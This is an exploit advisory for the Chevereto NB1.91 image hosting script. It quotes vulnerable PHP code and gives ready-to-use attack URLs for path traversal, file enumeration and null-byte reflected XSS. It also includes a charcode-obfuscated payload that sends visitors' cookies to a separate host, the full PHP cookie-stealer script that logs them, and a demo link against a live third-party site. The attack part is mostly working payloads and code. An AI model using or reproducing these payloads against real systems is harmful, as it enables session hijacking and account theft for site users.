========================================================================================
Vulnerable Software: Chevereto upload script
Downloaded from: http://code.google.com/p/chevereto/downloads/list
(http://code.google.com/p/chevereto/downloads/detail?name=chevereto_nb1.91.zip&can=2&q=)
Official site: http://chevereto.com/
chevereto_nb1.91.zip   Nightly Build 1.91   Featured   Oct 2010     471 KB   32167
========================================================================================
About software:See from vendor: http://chevereto.com/
chevereto is outstanding Image Hosting Script (c) chevereto.com
========================================================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL: 5.5.23
========================================================================================
Vuln Desc:
Vulnerable Code Section
//http://site.tld/whereunpacked/Upload/engine.php

if ($modo==2 || $modo==3) {
  // INFORMACION (ANCHO, ALTO y PESO)
  if ($modo==2) {
    if ($_GET['v']) {
      $id = $_GET['v'];
      $imagen = DIR_IM.$id;
      if (file_exists($imagen)==true) {
        $titulo = SEEING.' '.$id.' '.AT.' ';
        $info = getimagesize($imagen); //Obtenemos la informacion
        $statinfo = @stat($imagen);
          $ancho = $info[0];
          $alto = $info[1];
          $mime = $info['mime'];
            $tamano = $statinfo['size']; //Bytes
            $tamano_kb = round($tamano*0.0009765625, 2);
          $canales = $info['channels'];
      } else {
        unset($modo);
        $modo = 1;
        $spit = true;
        $errormsg = NOT_EXISTS;
        $titulo = NOT_EXISTS_TITLE.ESP_TITULO;
      }
    }
  }

  // LAS URL
  $URLimg = URL_SCRIPT.DIR_IM.$name;
  $URLthm = URL_SCRIPT.DIR_TH.$name;
  $URLvim = URL_SCRIPT.'?v='.$name;
  $URLshr = $URLvim; // Para no cambiar mas abajo
  $eu_img = urlencode($URLimg);


File existense enumeration:
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php

Non persistent cROSS siTE sCRIPTING (XSS)
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00<script>alert(1);</script>

Note:*Null byte* usage is neccessary here when exploiting XSS.See the vulnerable code section.


=======XSS STEAL COOKIE========
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00</title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,48,46,49,53,47,108,101,97,114,110,47,119,111,114,107,47,120,115,115,46,112,104,112,63,116,120,116,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,60,47,115,99,114,105,112,116,62));</script>
============EOF================
our charcoded XSS payload in this case is: <script>location.replace("http://192.168.0.15/learn/work/xss.php?txt="+document.cookie)</script>

And Finally:
//xss.php = is our cookie stealer.

<?php
error_reporting('off');
if(isset($_GET['txt']))
{
$cleanupitfirst=base64_encode(htmlentities($_GET['txt']));
$file='./s.txt';
$handle=fopen($file,'a+');
fwrite($handle,PHP_EOL .'============Decode It==========='. PHP_EOL .$cleanupitfirst. PHP_EOL . '============END OF==========='.PHP_EOL);
fclose($handle);
}
die('<script>location.replace("http://return_back.tld/blabla/");</script>');


Demo: http://pics.openarmenia.com/?v=../index.php%00%3Cscript%3Ealert%281%29;%3C/script%3E
//Chevereto NB1.6 rev2
========================================================================================
Due trust to this issuse we can say previous versions too is affected by this vulns.
=================================== EOF =================================================


++++My Special Thanks to:++++
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com &&
to all AA Team &&+ to all
Azerbaijani Black Hatz;)
++++++++++++++++++++++++++++++
Thank you.

/AkaStep ^_^